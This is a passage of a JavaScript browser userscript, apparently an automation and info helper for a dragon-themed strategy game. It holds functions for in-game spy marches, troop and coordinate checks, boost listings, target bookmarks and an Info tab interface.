							logit('New url for Data.options.sound.' + type + ' = ' + url);
						}
					} else {
						clearTimeout(t.url_binary_file[index].load_timer);
						t.url_binary_file[index].retries++;
						t.url_binary_file[index].load_timer = null;
						if (t.url_binary_file[index].retries < 6) {
							logit('url ' + url + ' not loaded ==> Retry in 5 seconds');
							t.url_binary_file[index].load_timer = setTimeout(t.LoadBinary, 5000, url, index, true);
						} else {
							logit('url ' + url + ' not loaded ==> This sound won\'t probably work when needed...');
						}
					}
					return;
				}
			}
		};
		/*********************************** Wackoscript package ********************************************/

		/****************  Functions  ****************/

		function buttonSpyNow(container, target) {
			function checkSpy(targetObj, notify) {
				var cityId = Seed.cities[CAPITAL.id].id;
				var cityIdx = CAPITAL.id;
				var units = [];
				units['Spy'] = 1;
				var attackUnits = checkTroops(CAPITAL.id, units);
				if (attackUnits != null) {
					notify(getErrorText(attackUnits, 'fb'));
					return;
				}
				var targMsg = '<B>' + translate('Manual spy sent to') + '</B>: ' + targetObj.n + ' ' + translate('at') + ' ' + targetObj.x + '/' + targetObj.y;
				verboseLog(targMsg + ' ' + translate('attempted'));
				new MyAjax.marchSpy(cityId, targetObj.x, targetObj.y, units, 'attacks', function(rslt) {
					if (rslt.ok && rslt.dat.result.success) {
						verboseLog(targMsg + ' ' + translate('Successfully'));
						actionLog(targMsg);
						if (notify) notify('OK');
					} else {
						verboseLog(targMsg + ' ' + translate('failed and returned error') + ': ' + rslt.errmsg);
						if (notify) notify(translate('Error') + ': ' + rslt.errmsg);
					}
				});
			}
			var dial = new ModalDialog(container, 300, 150, '', false);
			dial.getTopDiv().innerHTML = '<div class=' + UID['title'] + '><center><b>' + scriptName + ' : ' + translate('Message') + '</b></center></div>';
			dial.getContentDiv().innerHTML = translate('Spying');
			checkSpy(target, notify);

			function notify(rslt) {
				if (rslt != 'OK') {
					dial.getContentDiv().innerHTML = '<b>' + rslt + '</b>';
					dial.allowClose(true);
				} else {
					dial.getContentDiv().innerHTML = '<b>' + translate('OK') + '</b>';
					setTimeout(function() {
						dial.destroy()
					}, 1000);
				}
			}
		}

		function checkCoords(tab, units, options) {
			var ex = document.getElementById(UID[tab + '_CoordsX']);
			var ey = document.getElementById(UID[tab + '_CoordsY']);
			var x = toNum(ex.value);
			var y = toNum(ey.value);
			ex.value = x;
			ey.value = y;

			if (!is_null(units)) {
				var time = getMarchTime(x, y, units);
				document.getElementById(UID[tab + '_Distance']).innerHTML = getDistance(Seed.cities[CAPITAL.id].x, Seed.cities[CAPITAL.id].y, x, y) + ' (' + timestrShort(time) + ')';
			}
			document.getElementById(UID[tab + '_Tile']).innerHTML = '&nbsp;';

			if (x < 0 || x > 749) {
				if (x < 0) {
					while (x < 0) x = 750 + x;
				} else {
					while (x > 749) x = x - 750;
				}
				ex.style.backgroundColor = 'red';
				return;
			}
			if (y < 0 || y > 749) {
				if (y < 0) {
					while (y < 0) y = 750 + y;
				} else {
					while (y > 749) y = y - 750;
				}
				ey.style.backgroundColor = 'red';
				return;
			}
			options.x = x;
			options.y = y;
			ey.style.backgroundColor = '';
			ex.style.backgroundColor = '';

			Map.tileAt({
				x: x,
				y: y,
				force_request: true
			}, function(target) {
				if (target && target.ok) {
					var cfeedBack = '';
					options.level = target.l;
					if (options.ai) options.ai = target.ai;
					var attColor = target.A ? '#000' : '#C22';

					var type_name = Map.names.type[target.t] || target.t;
					var type = 'C';
					if (target.t != 7 && target.t < 10) type = 'W'; /* 7 = city, from 10 = outposts */

					var tile = '<font color=' + attColor + '>' + '<b>' + translate(type_name) + '&nbsp;' + translate('Level') + '&nbsp;' + target.l + '</b>' + '</font>';
					if (target.cn != undefined && type != 'W') {
						options.id = target.id;
						options.n = target.n;
						tile += '<br>' + translate('City') + ': <b>' + target.cn + '</b> - ' + translate('Alliance') + ': <b>' + ((target.a != undefined && target.a != 0) ? target.a : '----') + '</b>' + '<br>' + translate('Name') + ': <b>' + target.n + '</b> - ' + translate('Level') + ': <b>' + target.l + '</b> - ' + translate('Might') + ': <b>' + target.m + '</b>';
						cFeedBack = translate(type_name) + ' ' + target.n + ' (' + numf(target.m) + ')' + ((target.a != undefined && target.a != 0) ? ' / ' + target.a : '');
					} else {
						options.id = target.id;
						options.n = '';
						cFeedBack = translate(type_name) + ' ' + translate('Level') + ' ' + target.l;
					}
					options.type = cFeedBack;
					if (document.getElementById(UID[tab + '_Tile']))
						document.getElementById(UID[tab + '_Tile']).innerHTML = tile;
					else
						logit('checkCoords : UID[' + tab + '_Tile] not defined');
				}
			});
		}

		function checkMarch(targetMsg, feedback_element, marchCount, retryDelay, count_type, max_type, generalId, checkGeneral) {
			var checkresult = 0;
			if (MyAjax.marchBusy) {
				checkresult = 1;
				raiseMessage(targetMsg, feedback_element, checkresult, false, retryDelay);
				return (checkresult);
			}
			if ((marchCount > Seed.cities[CAPITAL.id].figures.marches.maximum) || (count_type >= max_type)) {
				checkresult = 2;
				raiseMessage(targetMsg, feedback_element, checkresult, true, retryDelay);
				return (checkresult);
			}
			if (generalId === null && checkGeneral) {
				checkresult = 3;
				raiseMessage(targetMsg, feedback_element, checkresult, false, retryDelay);
				return (checkresult);
			}
			return (checkresult);
		}

		function checkTroops(cityIdx, units) {
			/* returns null if ok, else error message */
			var totalTroops = 0,
				unit_qty = 0,
				muster_point = getMusterPoint(cityIdx);
			for (var p in units) {
				unit_qty = toNum(units[p]);
				if (unit_qty > 0) {
					totalTroops += unit_qty;
					if (Seed.cities[cityIdx].units[p] < unit_qty)
						return (translate('not-enough-units') + ' ' + translate(p));
				}
			}
			if (totalTroops <= 0) return (4);
			for (var p in units) {
				unit_qty = toNum(units[p]);
				if (unit_qty > 0) {
					if (unit_qty > muster_point.max_troops) return (2);
				}
			}
			if (totalTroops > muster_point.max_troops) return (2);
			if (muster_point.slots <= 0) return (2);
			return null;
		}

		function dispFeedback(target, msg) {
			if (msg && msg != '')
				msg = new Date().toTimeString().substring(0, 8) + ' ' + msg;
			if (target && document.getElementById(target)) document.getElementById(target).innerHTML = msg;
		}

		function objAddTo(o, name, val, transcoding) {
			var qty, item;
			if (Names.transco[name] && transcoding) {
				qty = Names.transco[name][1] * val;
				item = Names.transco[name][0];
			} else {
				qty = val;
				item = name;
			}
			if (!o[item]) o[item] = qty;
			else o[item] += qty;
		}

		function generalList(cityIdx) {
			var ret = {};
			var generals = Seed.cities[cityIdx].generals;
			for (var i = 0; i < generals.length; i++) {
				ret[generals[i].id] = generals[i].name + ' (' + generals[i].rank + ')';
			}
			return ret;
		}

		function getAllianceRelationship(id, name) {
			var found = false;
			var ret = name;
			if (Data.dynamic.players.friends) {
				for (var x = 0; x < Data.dynamic.players.friends.length && !found; x++) {
					if (Data.dynamic.players.friends[x] == id) {
						found = true;
						ret = '<span class=' + UID['green'] + '>' + name + '</span>';
					}
				}
			}
			if (Data.dynamic.players.foes && !found) {
				for (var x = 0; x < Data.dynamic.players.foes.length && !found; x++) {
					if (Data.dynamic.players.foes[x] == id) {
						found = true;
						ret = '<span class=' + UID['red'] + '>' + name + '</span>';
					}
				}
			}
			return ret;
		}

		function getAllianceState(id) {
			var found = false;
			var ret = '0';
			if (Data.dynamic.players.friends) {
				for (var x = 0; x < Data.dynamic.players.friends.length && !found; x++) {
					if (Data.dynamic.players.friends[x] == id) {
						found = true;
						ret = '1';
					}
				}
			}
			if (Data.dynamic.players.foes && !found) {
				for (var x = 0; x < Data.dynamic.players.foes.length && !found; x++) {
					if (Data.dynamic.players.foes[x] == id) {
						found = true;
						ret = '-1';
					}
				}
			}
			return ret;
		}

		function getAvailableDragon(include_exclude, dragon_list) {
			/* include_exclude : true = list of dragons that can be sent, false = list of dragons to not send */
			var found = false;
			for (var gd = 0; gd < Seed.dragonList.length && !found; gd++) {
				var dragon = Seed.dragons[Seed.dragonList[gd].type];
				var curName = dragon.name;
				var isInCity = dragon.is_in_city;
				var canAttack = dragon.can_attack;
				var curLife = dragon.life;
				var maxLife = dragon.maximum_life;
				var is_in_list = true;
				if (dragon_list) is_in_list = dragon_list[Seed.dragonList[gd].type];
				if (((curLife / maxLife) >= 0.75) && isInCity && canAttack &&
					((include_exclude && is_in_list) || (!include_exclude && !is_in_list))) {
					found = true;
				}
			}
			if (found)
				return curName;
			else
				return null;
		}

		function getAvailableGeneral() {
			var general = null;
			var rank = 6;
			for (var p in Seed.generals) {
				if (!Seed.generals[p].busy) {
					if (Seed.generals[p].rank < rank) {
						rank = Seed.generals[p].rank;
						general = Seed.generals[p]
					}
				}
			}
			return general;
		}

		function getBoosts() {
			var ret = [];
			for (var i in Seed.player.boosts) {
				if (i == 'curser') continue;
				for (var j = 0; j < Seed.player.boosts[i].length; j++) {
					var id = 0,
						name = '';
					var boost = Seed.player.boosts[i][j];
					switch (i) {
						case 'safety':
							id = 0;
							name = 'Protection';
							break;
						case 'collect_resources':
							id = 2;
							name = translate('boost-collect-week');
							break;
						case 'food':
						case 'ore':
						case 'stone':
						case 'wood':
							id = 2;
							name = translateByKey('name', ('nano-' + i).replace(/ |_/g, '-'), 'boosts');
							break;
						case 'gold':
							id = 2;
							name = translateByKey('name', i.replace(/ |_/g, '-'), 'boosts');
							break;
						case 'food_curse':
							id = 5;
							name = translate('curselocusts');
							break;
						case 'ore_curse':
						case 'stone_curse':
						case 'wood_curse':
						case 'blue_curse':
							id = 5;
							name = translate(i.substring(0, i.indexOf('_')));
							if (boost.amount && boost.amount != null && boost.amount != '')
								name += ' (' + ((boost.amount < 1) ? numf(boost.amount * 100) + '%' : numf(boost.amount)) + ')';
							break;
						default:
							if (boost.source == 'timer') {
								id = 2;
								name = translate('boost-combat-' + i.replace(/ |_/g, '-'));
							} else if (boost.source == 'dragon') {
								id = 3;
								var rate = ((boost.amount < 1) ? numf(boost.amount * 100) + '%' : numf(boost.amount));
								name = translateByKey('description', i.replace(/ |_/g, '-'), 'boosts');
								if (name.indexOf('n%') > 0) name = name.substring(0, name.indexOf('n%')) + rate + name.substring(name.indexOf('n%') + 2);
								if (name.indexOf('%boost%') > 0) name = name.substring(0, name.indexOf('%boost%')) + rate + name.substring(name.indexOf('%boost%') + 7);
							} else {
								id = 4;
								name = translate(i.replace(/ |_/g, '-'));
							}
							break;
					}
					ret.push({
						id: id,
						type: i,
						name: name,
						run_at: boost.expires_at
					});
				}
			}
			/* sort by id and name */
			ret.sort(function(a, b) {
				if (a.id > b.id) return 1;
				else if (a.id < b.id) return -1;
				else {
					a = a.name.toLowerCase();
					b = b.name.toLowerCase();
					if (a > b) return 1;
					else if (a < b) return -1;
					return 0;
				}
			});
			return ret;
		}

		function getBuildingById(cityIdx, bId) {
			var b = Seed.cities[cityIdx].buildings;
			for (var i = 0; i < b.length; i++) {
				if (b[i].id == bId) return b[i].type;
			}
			return '';
		}

		function getCityType(id) {
			var type = '';
			for (var cityIdx = 0; cityIdx < Seed.cities.length; ++cityIdx) {
				if (Seed.cities[cityIdx] && Seed.cities[cityIdx].id == id) {
					if (Seed.cities[cityIdx].type == 'Outpost') {
						switch (Seed.cities[cityIdx].outpost_type) {
							case 'WaterDragonOutpost':
								type = 'Water';
								break;
							case 'StoneDragonOutpost':
								type = 'Stone';
								break;
							case 'FireDragonOutpost':
								type = 'Fire';
								break;
							case 'WindDragonOutpost':
								type = 'Wind';
								break;
							case 'IceDragonOutpost':
								type = 'Ice';
								break;
							case 'SwampDragonOutpost':
								type = 'Swamp';
								break;
							case 'ForestDragonOutpost':
								type = 'Forest';
								break;
							case 'DesertDragonOutpost':
								type = 'Desert';
								break;
							case 'ChronoDragonOutpost':
								type = 'Chrono';
								break;
							case 'KaiserDragonOutpost':
								type = 'Sky';
								break;
							case 'CaveDragonOutpost':
								type = 'Cave';
								break;
							case 'LunaDragonOutpost':
								type = 'Luna';
								break;
							case 'ColossusDragonOutpost':
								type = 'Colossus';
								break;
							default:
								type = '';
						}
					}
				}
			}
			if (type != '') {
				if (Data.options.disable_alliance) type = '<br><span class=' + UID['bold_red'] + '>OP : ' + translate(type) + '</span>';
				else type = '<br><U><div id=' + setUID('goto_reinforcement') + ' ref="' + id + '"><A><span class=' + UID['bold_red'] + '>OP : ' + translate(type) + '</span></A></div></U>';
			}
			return type;
		}

		function getCityShortType(cityIdx) {
			var type = '';
			switch (toNum(cityIdx)) {
				case CAPITAL.id:
					type = CAPITAL.type;
					break;
				case WATER_OUTPOST.id:
					type = WATER_OUTPOST.type;
					break;
				case STONE_OUTPOST.id:
					type = STONE_OUTPOST.type;
					break;
				case FIRE_OUTPOST.id:
					type = FIRE_OUTPOST.type;
					break;
				case WIND_OUTPOST.id:
					type = WIND_OUTPOST.type;
					break;
				case ICE_OUTPOST.id:
					type = ICE_OUTPOST.type;
					break;
				case SWAMP_OUTPOST.id:
					type = SWAMP_OUTPOST.type;
					break;
				case FOREST_OUTPOST.id:
					type = FOREST_OUTPOST.type;
					break;
				case DESERT_OUTPOST.id:
					type = DESERT_OUTPOST.type;
					break;
				case CHRONO_OUTPOST.id:
					type = CHRONO_OUTPOST.type;
					break;
				case SKY_OUTPOST.id:
					type = SKY_OUTPOST.type;
					break;
				case CAVE_OUTPOST.id:
					type = CAVE_OUTPOST.type;
					break;
				case LUNA_OUTPOST.id:
					type = LUNA_OUTPOST.type;
					break;
				case COLOSSUS_OUTPOST.id:
					type = COLOSSUS_OUTPOST.type;
					break;
				default:
					break;
			}
			return type;
		}

		function getErrorText(error, type) {
			return (isNaN(error) ? error : translate(marchErrorTexts[error][type]));
		}

		function getMarchTime(x, y, units) {
			var dist = getDistance(Seed.cities[CAPITAL.id].x, Seed.cities[CAPITAL.id].y, x, y);
			var speed = 99999;
			for (var unit in units) {
				if (units[unit] > 0) {
					if (Seed.stats.unit[unit]) {
						if (Seed.stats.unit[unit].speed < speed) speed = Seed.stats.unit[unit].speed;
					} else speed = 100;
				}
			}
			var time = dist / ((Seed.cities[CAPITAL.id].figures.marches.speed_multiplier * speed) / 6000) + 30;
			return time;
		}

		function getMinDelay() {
			var count = 0,
				delay = 0,
				min_time = 700000,
				max_time = 0;
			for (var type in Data.marches) {
				if (!(/(attacks|waves|spies|multiple|bookmark|transport)/.test(type))) continue;
				for (var id in Data.marches[type]) {
					var march = (Data.marches[type])[id];
					++count;
					var left_time = (march.run_at - toNum(serverTime())) + (march.status == 'marching' ? march.duration : 0);
					if (left_time > 0) {
						min_time = min_time < left_time ? min_time : left_time;
						max_time = max_time > left_time ? max_time : left_time;
					}
				}
			}
			if (min_time === 700000 || max_time === 0) min_time = 3;
			delay = min_time + Math.randRange(2, 5);
			return {
				count: count,
				delay: delay
			};
		}

		function getMusterPoint(cityIdx) {
			var lvl = (Buildings.getLevel(cityIdx, 'MusterPoint')).max;
			if (is_null(Seed.cities[cityIdx].figures.marches.maximum_troops)) {
				if (lvl)
					if (lvl <= 10) var maxLvl = lvl * 10000;
					else var maxLvl = ((lvl - 10) * 20000) + 100000;
			} else var maxLvl = Seed.cities[cityIdx].figures.marches.maximum_troops;
			return ({
				slots: ((!lvl) ? 0 : lvl - Seed.numMarches),
				max_troops: maxLvl
			});
		}

		function getProtectionTime() {
			var protection_time = 0,
				found = false;
			if (is_protected() && Seed.player.boosts.safety) {
				for (var i = 0; i < Seed.player.boosts.safety.length && !found; i++) {
					var time = Seed.player.boosts.safety[i].expires_at;
					protection_time = (time > serverTime()) ? (time - serverTime()) : 0;
					found = true;
				}
			}
			return protection_time;
		}

		function getSoulCapacity() {
			if (Seed.cities[SPECTRAL_OUTPOST.id]) {
				var min = 0;
				if (Seed.cities[CAPITAL.id].souls) {
					for (var troop in Seed.cities[CAPITAL.id].souls)
						min += Seed.cities[CAPITAL.id].souls[troop];
				}
				return {
					min: min,
					max: Seed.cities[CAPITAL.id].figures.soul_cap
				};
			} else {
				return {
					min: 0,
					max: 0
				};
			}
		}

		function getTotTrainTable() {
			var now = serverTime();
			var totalTrain = [];
			for (var cityIdx = 0; cityIdx < Seed.cities.length; ++cityIdx) {
				var time = 0;
				if (Seed.cities[cityIdx] && Seed.cities[cityIdx].jobs) {
					var jobs = Seed.cities[cityIdx].jobs;
					var trains = [];
					for (var j = 0; j < jobs.length; j++)
						if (jobs[j].queue == 'units' && jobs[j].unit_type && jobs[j].run_at > now) trains.push(jobs[j]);
					if (trains.length > 0) {
						trains.sort(function(a, b) {
							return a.run_at - b.run_at;
						});
						var time = trains[trains.length - 1].run_at - now;
					}
				}
				if (Seed.cities[cityIdx] && cityIdx != SPECTRAL_OUTPOST.id && cityIdx != SKY_OUTPOST.id && cityIdx != LUNA_OUTPOST.id) totalTrain.push({
					cityIdx: cityIdx,
					total: time
				});
			}
			totalTrain.sort(function(a, b) {
				return a.total - b.total
			});
			return totalTrain;
		}

		function getTroopNumbers(cityIdx, troopType) {
			var incity = 0,
				indefense = 0,
				marches = 0,
				intraining = 0,
				inresurrection = 0,
				inmosauleum = 0;
			var city = (typeof cityIdx == 'number') ? Seed.cities[cityIdx] : cityIdx;
			incity = city.units[troopType] ? city.units[troopType] : 0;
			if (city.defense_force) indefense = city.defense_force[troopType] ? city.defense_force[troopType] : 0;
			for (var type in Data.marches) {
				if (!(/(attacks|waves|spies|multiple|bookmark|transport)/.test(type))) continue;
				for (var id in Data.marches[type]) {
					var march = (Data.marches[type])[id];
					for (var name in march.units) {
						if (troopType == name)
							marches += march.units[name];
					}
				}
			}
			for (var city_idx = 0; city_idx < Seed.cities.length; city_idx++) {
				var trains = Jobs.getJobs('units', false, city_idx);
				for (var i = 0; i < trains.length; i++) {
					if (troopType === trains[i].unit_type)
						intraining += trains[i].quantity;
				}
			}
			for (var city_idx = 0; city_idx < Seed.cities.length; city_idx++) {
				var resurrect = Jobs.getJobs('resurrection', false, city_idx);
				for (var i = 0; i < resurrect.length; i++) {
					if (troopType === resurrect[i].unit_type)
						inresurrection += resurrect[i].quantity;
				}
			}
			var souls = Seed.cities[0].souls;
			if (souls && souls[troopType]) inmosauleum += souls[troopType];

			return {
				incity: incity,
				indefense: indefense,
				marches: marches,
				intraining: intraining,
				inresurrection: inresurrection,
				souls: inmosauleum,
				total: incity + marches + indefense,
				all: incity + marches + indefense + intraining + inresurrection + inmosauleum
			};
		}

		function getTroops(trps, sep) {
			var result = '';
			var tRes = [];
			for (var i in trps) {
				if (trps[i] > 0) tRes.push(numf(trps[i], ' ') + ' ' + translate(i));
				else if (trps[i] == -1) tRes.push('Max ' + translate(i));
			}
			if (tRes.length > 0) result = tRes.join(',' + sep);
			return result;
		}

		function isTrainable(cityIdx, unit) {
			var trainables = Seed.stats.unit[unit].trainable,
				found = false;
			var city_type = getCityShortType(cityIdx);
			for (i = 0; i < trainables.length && !found; i++) {
				if (city_type == trainables[i]) found = true;
			}
			return found;
		}

		function isUnderProtection() {
			if (Seed.player.boosts.safety) return true;
			else return false;
		}

		function onClickMsg(event) {
			var ids = event.target.getAttribute('ref').split('_');
			dialogSendMsg(ids[1], ids[0], true);
		}

		function raiseMessage(what, element, error, prefix, delay) {
			var prefixMsg = (prefix ? getErrorText(0, 'vb') + ' ' : '');
			var verboseMsg = prefixMsg + getErrorText(error, 'vb');
			var feedbackMsg = getErrorText(error, 'fb');
			verboseLog(what + ' ' + verboseMsg + ': ' + translate('Retry in') + ' ' + delay + ' ' + translate('seconds'));
			dispFeedback(element, feedbackMsg + ': ' + translate('Retry in') + ' ' + delay + ' ' + translate('seconds'));
		}

		function refreshPlayerData(container, notify) {
			var options = {
				cities: [],
				jobs: true,
				dragons: true
			};
			options.cities.push(Seed.cities[CAPITAL.id].id);
			var dial = new ModalDialog(container, 300, 165, '', false, null);
			dial.getTopDiv().innerHTML = '<div class=' + UID['title'] + '><center><b>' + scriptName + ' : ' + translate('Message') + '</b></center></div>';
			dial.getContentDiv().innerHTML = translate('Refreshing player and cities data');
			Seed.fetchPlayer(function(rslt) {
				if (rslt.ok) {
					verboseLog(translate('Player data was Successfully requested from the server'));
					try {
						dial.destroy();
					} catch (e) {}
					if (notify) notify(true);
					return;
				} else {
					try {
						dial.getContentDiv().innerHTML = translate('Error while retrieving player data') + '&nbsp;\n' + rslt.errmsg; /*inspectObj(rslt,6,1));*/
						dial.allowClose(true);
					} catch (e) {}
					if (notify) notify(false);
					return;
				}
			}, options);
		}

		function saveBookmark(container, x, y, type, level, id, name, units, ai, include_great_dragon, include_exclude, great_dragons, comment, cptDESC) {
			var target_desc = '';
            if( typeof(cptDESC) !== 'undefined' )
                target_desc = cptDESC;
            if (Data.options.bookmarks.targets && Data.options.bookmarks.targets.length > 0) {
				var h = cloneProps(Data.options.bookmarks.targets);
				for (var i = h.length - 1; i >= 0; i--) {
					if ((h[i].x == x) && (h[i].y == y))
						Data.options.bookmarks.targets.splice(i, 1);
				}
			}
			var target_id = id,
				target_name = name;
			var target_type = 0;
			Map.tileAt({
				x: x,
				y: y,
				force_request: false
			}, function(target) {
				if (target && target.ok) {
					if (target.t == 7 || target.t >= 10) target_type = 0;
					else if (target.t == 8) target_type = 1;
					else target_type = 2;
					var type_name = Map.names.type[target.t] || target.t;
					if (target.cn != undefined && target_type == 0) {
						target_desc = translate(type_name) + ' ' + target.n + ' (' + numf(target.m) + ')' + ((target.a != undefined && target.a != 0) ? ' / ' + target.a : '');
						target_id = target.id;
						target_name = target.n;
					} else {
						target_desc = translate(type_name) + ' ' + target.l;
						target_id = '';
						target_name = '';
					}
				}
			});
			var dragon_list = {};
			if (include_great_dragon) {
				for (var gd = 0; gd < Seed.dragonList.length; gd++) {
					var dragon = Seed.dragonList[gd].type;
					var is_in_list = (include_exclude ? false : true);
					if (great_dragons)
						is_in_list = great_dragons[Seed.dragonList[gd].type];
					if ((include_exclude && is_in_list) || (!include_exclude && !is_in_list)) {
						dragon_list[dragon] = true;
					} else {
						dragon_list[dragon] = false;
					}
				}
			}

			var rec = {
				x: x,
				y: y,
				t: target_type,
				/* 0 = city, outpost, 1 = Anthro, 2 = Wilderness */
				d: getDistance(Seed.cities[CAPITAL.id].x, Seed.cities[CAPITAL.id].y, x, y),
				ti: getMarchTime(x, y, units),
				type: target_desc,
				level: level,
				id: target_id,
				n: target_name,
				units: cloneProps(units),
				dragons: dragon_list,
				inc: include_great_dragon,
				comment: comment
			};
			Data.options.bookmarks.targets.push(rec);
			var dial = new ModalDialog(container, 300, 150, '', false);
			dial.getTopDiv().innerHTML = '<div class=' + UID['title'] + '><center><b>' + scriptName + ' : ' + translate('Message') + '</b></center></div>';
			dial.getContentDiv().innerHTML = translate('Bookmark saved');
			setTimeout(function() {
				dial.destroy()
			}, 1000);
		}

		function setButtonStyle(button, enabled, class_enabled, class_disabled) {
			if (!button) return;
			if (enabled) {
				button.disabled = false;
				Element.removeClassName(button, (class_disabled ? UID[class_disabled] : UID['btn_disabled']));
				Element.addClassName(button, (class_enabled ? UID[class_enabled] : UID['btn_blue']));
			} else {
				button.disabled = true;
				Element.removeClassName(button, (class_enabled ? UID[class_enabled] : UID['btn_blue']));
				Element.addClassName(button, (class_disabled ? UID[class_disabled] : UID['btn_disabled']));
			}
		}

		function set_defense_forces(container, city_id, units, notify) {
			var dial = new ModalDialog(container, 300, 165, '', false, null);
			dial.getTopDiv().innerHTML = '<div class=' + UID['title'] + '><center><b>' + scriptName + ' : ' + translate('Message') + '</b></center></div>';
			dial.getContentDiv().innerHTML = translate('wall-choose-defenders');
			MyAjax.setDefenseForce(city_id, units, callback);

			function callback(dat) {
				if (dat.ok) {
					if (notify) notify(true);
					dial.destroy();
				} else {
					dial.getContentDiv().innerHTML = translate('Error while setting defense choice');
					dial.allowClose(true);
					if (notify) notify(false);
					return;
				}
			}
		}

		function setTroopTable(tab, rownum, prefix, unit_types, units, units_save, listener, multilines) {
			var row = [];
			row.push(tab.insertRow(rownum));
			row.push(tab.insertRow(rownum + 1));
			var val, r = 0,
				c = 0;
			for (var i = 0; i < unit_types.length; ++i) {
				if (c == 9) {
					r = r + 2;
					row.push(tab.insertRow(rownum + r));
					row.push(tab.insertRow(rownum + r + 1));
					c = 0;
				}
				row[r].insertCell(c).innerHTML = translate(Names.getTroopAbbr(unit_types[i]));
				var inp = document.createElement('input');
				inp.type = 'text';
				inp.size = '1';
				inp.style.width = '40px';
				inp.title = translate(unit_types[i]);
				if (i < 3) inp.style.border = '1px solid grey';
				else if (i < 6) inp.style.border = '1px solid green';
				else if (i < 12) inp.style.border = '1px solid blue';
				else inp.style.border = '1px solid red';
				inp.maxlength = '6';
				if (units[unit_types[i]] == undefined)
					units[unit_types[i]] = 0;
				val = units[unit_types[i]];
				if (!is_null(units_save)) {
					if (units_save[unit_types[i]] == undefined)
						units_save[unit_types[i]] = 0;
					val = units_save[unit_types[i]];
				}
				if (!val) val = 0;
				inp.value = val;
				inp.name = prefix + '_' + i;
				inp.addEventListener('change', listener, false);
				row[r + 1].insertCell(c).appendChild(inp);
				c++;
			}
			return tab;
		}

		function is_protected() {
			return Seed.cities[CAPITAL.id].protected
		}


		/******************************** Info Tab ***********************************/
		Tabs.Info = {
			tabOrder: INFO_TAB_ORDER,
			tabLabel: 'Info',
			tabDisabled: !INFO_TAB_ENABLE,
			container: null,
			timer: null,
			contentType: 0,
			/* 0 = overview, 1 = inventory, 2 = quests, 3 = About, 4 = My might */
			troopsContentType: 0,
			/* 0 = Might, 1 = Food consumption, 2 = Statistics */
			infoScrollPos: 0,
			infoScrollLeft: 0,
			lastSubTab: 'tabInfoOverview',
			refreshPlayerBusy: false,
			show_fulscreen: false,
			dragonTimer: null,
			diff: null,

			init: function(div) {
				var t = Tabs.Info;

				/* Jawz - Purge completed & claimed quests */
				for (var i = 0; i < Seed.quests.category.length; i++) {
					for (var j = 0; j < Seed.quests.list[Seed.quests.category[i]].length; j++) {
						var quest = Seed.quests.list[Seed.quests.category[i]][j];
						var claimed = false;
						if (Seed.player.quests.claimed) {
							for (var x = 0; x < Seed.player.quests.claimed.length && !claimed; x++) {
								if (name == Seed.player.quests.claimed[x]) claimed = true;
							}
						}
						if (claimed) Seed.quests.list[Seed.quests.category[i]].splice(j, 1);
					}
				}
				t.container = div;

				div.innerHTML = 
					'<div class=' + UID['title_main'] + ' style="padding-top:3px; padding-bottom:3px;">' + '<table width=80% align=center>' + '	<tr align=center><td width="100px"><a id=' + setUID('tabInfo_ScriptUpdate') + ' style="color:#FFFFFF;text-decoration:none;">' + translate('Version update') + '</a></td>' + '		<td width="100px"><a href="' + Data.options.wikiUrl + '" target="_blank" style="color:#FFFFFF;text-decoration:none;">' + kWikiLink + '</a></td>' + '		<td width="100px"><a href="' + Data.options.forumUrl + '" target="_blank" style="color:#FFFFFF;text-decoration:none;">' + kForumLink + '</a></td>' + '</tr></table></div>' + '<table width=100%><tr>' + '	<td width=20%><input id=' + setUID('tabInfo_Refresh') + ' type=button value="' + translate('Refresh') + '"></input></td>' + '	<td width=20% align=center><input id=' + setUID('tabInfo_Toggle') + ' type=button value="' + translate('Toggle Flash') + '"></input></td>' + '	<td width=20% align=center>' + ((REALM_URL == null || REALM_URL == '' || !REALM_URL) ? '' : '<input id=' + setUID('tabInfo_Reload') + ' type=button value="' + translate('Reload') + '"></input>') + '</td>'
					//+'	<td width=20% align=center><input id='+ setUID('tabInfo_SoundOff') +' type=button value="'+ translate('Sound OFF') +'"></input></td>'
					+ '	<td width=20% align=center><input style="margin-left:5px;width:100px;" class="' + UID[t.show_fulscreen ? 'btn_on' : 'btn_off'] + '" type=button value="Fullscreen" id=' + setUID('Tabs.Info.fullScreen') + ' /></td>' + '</tr></table>' + '<ul class=tabs>' + '	<li class="tab first"><a id=' + setUID('tabInfoOverview') + '>' + translate('Overview') + '</a></li>' + '	<li class=tab><a id=' + setUID('tabInfoInventory') + '>' + translate('items-panel') + '</a></li>' + '	<li class=tab><a id=' + setUID('tabInfoQuests') + '>' + translate('Quests') + '</a></li>' + '	<li class=tab><a id=' + setUID('tabInfoTroops') + '>' + translate('Troops') + '</a></li>' + '	<li class=tab><a id=' + setUID('tabInfoStats') + '>' + translate('Stats') + '</a></li>' + '	<li class=tab><a id=' + setUID('tabInfoWilderness') + '>' + translate('Wilderness') + '</a></li>' + '	<li class=tab><a id=' + setUID('tabInfoHelp') + '>' + translate('About') + '</a></li>' + '</ul>' + '<div id=' + setUID('tabInfo_Content') + ' class="' + UID['scrollable'] + '" style="margin-top:1px !important; height:650px; max-height:650px;"></div>';

				document.getElementById(UID['tabInfo_Refresh']).addEventListener('click', t.refresh, false);
				document.getElementById(UID['tabInfo_Toggle']).addEventListener('click', toggleFlash, false);
				document.getElementById(UID['tabInfoOverview']).addEventListener('click', t.tabInfoOverview, false);
				document.getElementById(UID['tabInfo_ScriptUpdate']).addEventListener('click', AutoUpdater.manualCheck, false);
				document.getElementById(UID['tabInfoInventory']).addEventListener('click', t.tabInfoInventory, false);
				document.getElementById(UID['tabInfoQuests']).addEventListener('click', t.tabInfoQuests, false);
				document.getElementById(UID['tabInfoTroops']).addEventListener('click', t.tabInfoTroops, false);
				document.getElementById(UID['tabInfoStats']).addEventListener('click', t.tabInfoStats, false);
				document.getElementById(UID['tabInfoHelp']).addEventListener('click', t.tabInfoHelp, false);
				document.getElementById(UID['tabInfoWilderness']).addEventListener('click', t.tabInfoWilderness, false);
				document.getElementById(UID['Tabs.Info.fullScreen']).addEventListener('click', toggleFulscreen, false);
				//document.getElementById(UID['tabInfo_SoundOff']).addEventListener('click', switchOffSound, false);
				if (REALM_URL && REALM_URL != null && REALM_URL != '') {
					document.getElementById(UID['tabInfo_Reload']).addEventListener('click', reloadTools, false);
				}

				t.contentType = Data.options.info.current_tab;
				t.show();

				function switchOffSound() {
					try {
						logit('Mute sound');
						swf_object.musicMute();
					} catch (e) {}
					MyAjax.save_sound();
				}

				function toggleFulscreen(event) {
					var maxWidth = document.body.offsetWidth - 570;
					if (maxWidth < 760) {
						maxWidth = 760;
